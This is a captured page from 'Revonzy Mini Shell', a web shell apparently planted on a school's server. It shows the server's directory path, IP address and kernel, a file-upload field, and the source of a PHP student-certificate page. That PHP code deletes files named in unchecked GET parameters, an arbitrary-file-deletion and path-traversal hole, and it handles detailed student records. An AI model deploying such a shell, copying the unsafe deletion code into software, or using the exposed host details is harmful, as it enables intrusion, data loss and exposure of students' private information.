Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/www/spmsolapur.org/mis_software/bkp/certificates.php

  <link rel="stylesheet" href="plugins/fontawesome-free/css/all.min.css">
  <!-- Ionicons -->
  <link rel="stylesheet" href="https://code.ionicframework.com/ionicons/2.0.1/css/ionicons.min.css">
  <!-- DataTables -->
  <link rel="stylesheet" href="plugins/datatables-bs4/css/dataTables.bootstrap4.css">
  <!-- Theme style -->
  <link rel="stylesheet" href="dist/css/adminlte.min.css">
  <!-- Google Font: Source Sans Pro -->
  <link href="https://fonts.googleapis.com/css?family=Source+Sans+Pro:300,400,400i,700" rel="stylesheet">
 
 <?php
require_once('header.php');

require_once('header-left-section.php');
if(isset($_GET['delete_id']))
{
	$del_id	=	$_GET['delete_id'];
	 
	$res_image	=	$_GET['res_image'];
	
	$res_image1	=	$_GET['res_image1'];
	
	$res_image2	=	$_GET['res_image2'];
	
	if($res_image!="")
	{
	unlink('student_data/'.$res_image);
	}
	if($res_image1!="")
	{
	unlink('student_data/'.$res_image1);
	}
	if($res_image2!="")
	{
	unlink('student_data/'.$res_image2);
	}
	 
	$db->delete_student_record($del_id);
}
$from_date	=	date("Y-m-d");
$to_date	=	date("Y-m-d");
$class		=	"";
$medium		=	"";
$division	=	"";
$gr_no		=	"";
$stud_name	=	"";
?> 
 <style>
 .form-control
{
	background-color:#FFF !important;
}
h1
{
	text-align:center;
	color:#101566;
	font-weight:bold;
	
}
.content
{
	margin:10px;
}
.card
{
	margin:10px;
}
</style>
 <!-- Content Wrapper. Contains page content -->
  <div class="content-wrapper" >
    <!-- Content Header (Page header) -->
    <section class="content-header">
      <div class="container-fluid">
        <div class="row mb-2">
          <div class="col-sm-12">
            <h1>STUDENT CERTIFICATE SECTION</h1>
          </div>
         
        </div>
      </div><!-- /.container-fluid -->
    </section>
	        <div class="card">
            <div class="card-header">
              <h3 class="card-title">Student Table</h3>
            </div>
            <!-- /.card-header -->
            <div class="card-body">
              <table id="example1" class="table table-bordered table-striped">
                <thead>
                <tr>
                  <th>Sr.No</th>
                 
                  <th>Student Name</th>
                  <th>Department</th>
				 
				  <th>Print <br />Verification of Leaving Certificate.</th>
				  <th>Print LC Certificate</th>
				  <th>Print Bonafide<br />/Character</th>
				  <th>Print Study certificate</th>
				 <th >Print ID Card </th>
                </tr>
                </thead>
                <tbody>
				<?php
				$data	=	array();
				$data	=	$db->get_student_record_from_date($acd_year);
				if(!empty($data))
				{
					$counter	=	0;
										
					foreach($data as $record)
					{
						$res_id				=	$data[$counter][0];
						$res_class			=	$data[$counter][1];
						$res_medium			=	$data[$counter][2];
						$res_division		=	$data[$counter][3];
						$res_roll_no		=	$data[$counter][4];
						$res_surname		=	$data[$counter][5];
						$res_stud_name		=	$data[$counter][6];
						$res_father_name	=	$data[$counter][7];
						$res_mother_name	=	$data[$counter][8];
						$res_stud_cont		=	$data[$counter][9];
						$res_father_cont	=	$data[$counter][10];
						$res_mother_cont	=	$data[$counter][11];
						$res_residential_no	=	$data[$counter][12];
						$res_address		=	$data[$counter][13];
						$res_corres_add		=	$data[$counter][14];
						$res_child_desc		=	$data[$counter][15];
						$res_email			=	$data[$counter][16];
						$res_aadhar_no		=	$data[$counter][17];
						$res_religion		=	$data[$counter][18];
						$res_caste			=	$data[$counter][19];
						$res_category		=	$data[$counter][20];
						$res_mother_tongue		=	$data[$counter][21];
						$res_nationality		=	$data[$counter][22];
						$res_birth_palce		=	$data[$counter][23];
						$res_birth_date			=	$data[$counter][24];
						$res_gender				=	$data[$counter][25];
						$res_last_school		=	$data[$counter][26];
						$res_admission_date		=	$data[$counter][27];
						$res_blood_group		=	$data[$counter][28];
						$res_height				=	$data[$counter][29];
						$res_weight				=	$data[$counter][30];
						$res_student_image		=	$data[$counter][31];
						$res_birth_certi		=	$data[$counter][32];
						$res_caste_certi		=	$data[$counter][33];
						$res_remarks			=	$data[$counter][34];
						$res_no_of_pupil		=	$data[$counter][35];
						$res_stud_id_for_lc		=	$data[$counter][36];
						$res_father_quali		=	$data[$counter][37];
						$res_father_occu		=	$data[$counter][38];
						$res_father_income		=	$data[$counter][39];
						$res_father_office_add	=	$data[$counter][40];
						$res_father_resident_add	=	$data[$counter][41];
						$res_mother_qualifi			=	$data[$counter][42];
						$res_mother_occupa			=	$data[$counter][43];
						$res_mother_income			=	$data[$counter][44];
						$res_mother_office_add		=	$data[$counter][45];
						$res_mother_resident_add	=	$data[$counter][46];
						$res_date					=	$data[$counter][47];
						$res_adv_board				=	$data[$counter][48];
						$res_news_paper				=	$data[$counter][49];
						$res_teachers				=	$data[$counter][50];
						$res_friends				=	$data[$counter][51];
						$res_ex_students			=	$data[$counter][52];
						$res_pre_class				=	$data[$counter][53];
						$res_other					=	$data[$counter][54];
						$res_gr_no					=	$data[$counter][55];
						
						$class_data = $db->get_class_title_master_details($res_class);
						$class_name 	= $class_data[1];
				?>
                <tr>
                  <td><?php echo $counter+1; ?></td>
                 
                  <td><?php echo $res_surname." ".$res_stud_name." ".$res_father_name; ?></td>
                  <td><?php echo $class_name; ?></td>
				 
				
				  <td>
					<a class="btn btn-info btn-sm" href="verification-leaving-certificate.php?print_lc=<?php echo $res_id; ?>" onclick="return confirm('Are you Sure for Print?');"   target="_blank">
					<i class="fas fa-pencil-alt">
					
					</i>
					 Print
					</a>
				</td>
				 <td>
				 <?php
				 $type="";
				 $type='Original';
				 $certificate_count_original=0;
				 $certificate_count_original=$db->get_certificate_count($type,$res_id);
				 if($certificate_count_original=='')
				 {
					$certificate_count_original=0; 
				 }					 
				?>
					<a class="btn btn-secondary btn-sm" href="leaving-certificate.php?print_lc=<?php echo $res_id; ?>&print_type=Original" onclick="return confirm('Are you Sure for Print?');"   target="_blank">  
					<i class="fas fa-eye">
					</i>
					 Original 
					<span style="color:#C8EFD4;font-size:20px; font-weight:bold;">( <?php echo $certificate_count_original; ?>  ) </span>					 
					</a>
					<?php
					 $type="";
					 $type='Duplicate';
					 $certificate_count_duplicate=0;
					 $certificate_count_duplicate=$db->get_certificate_count($type,$res_id);
					 if($certificate_count_duplicate=='')
					 {
						$certificate_count_duplicate=0; 
					 }					 
					 ?>
					<a class="btn btn-secondary btn-sm" href="leaving-certificate-duplicate.php?print_lc=<?php echo $res_id; ?>&print_type=Duplicate" onclick="return confirm('Are you Sure for Print?');"   target="_blank" style="margin-top:10px;">  
					
					<i class="fas fa-eye">
					</i>
					 Duplicate 
					 <span style="color:red; font-size:20px; font-weight:bold;">(  <?php echo $certificate_count_duplicate; ?> ) </span>					 
					</a>
				 </td>
				  <td>
					<a class="btn btn-success btn-sm" href="bonafide-character-certificate.php?print_bonafide=<?php echo $res_id; ?>" onclick="return confirm('Are you Sure for Print?');"   target="_blank" >
					  <i class="fas fa-folder">
					</i>
					 Print
					</a>
					 </td>
				    <td>
					<a class="btn btn-danger btn-sm" href="study-certificate.php?print_study=<?php echo $res_id; ?>" onclick="return confirm('Are you Sure for Print?');"  target="_blank" >
					<i class="fas fa-eye">
					</i>
					 Print
					</a>
					</td>
					<td>
					<a class="btn btn-warning btn-sm" href="ld_card.php?print_id_card=<?php echo $res_id; ?>" onclick="return confirm('Are you Sure for Print?');" target="_blank" >
					<i class="fas fa-eye">
					</i>
					 Print
					</a>
					</td>
                </tr>
               <?php
					$counter++;
					}
				}
				else
				{
				?>
				<tr>
                  <td colspan="5">Student Record Not Available</td>
                  
                </tr>
				<?php
				}
			   ?>
               <tbody> 
              </table>
            </div>
            <!-- /.card-body -->
          </div>

	  
      <!-- /.card -->
  </div>
  </div>
  </section>
  <?php
require_once('footer.php');
?> 
<script src="plugins/jquery/jquery.min.js"></script>
<!-- Bootstrap 4 -->
<script src="plugins/bootstrap/js/bootstrap.bundle.min.js"></script>
<!-- DataTables -->
<script src="plugins/datatables/jquery.dataTables.js"></script>
<script src="plugins/datatables-bs4/js/dataTables.bootstrap4.js"></script>
<!-- AdminLTE App -->
<script src="dist/js/adminlte.min.js"></script>
<!-- AdminLTE for demo purposes -->
<script src="dist/js/demo.js"></script>
<script>
  $(function () {
    $("#example1").DataTable();
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
    });
  });
</script>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4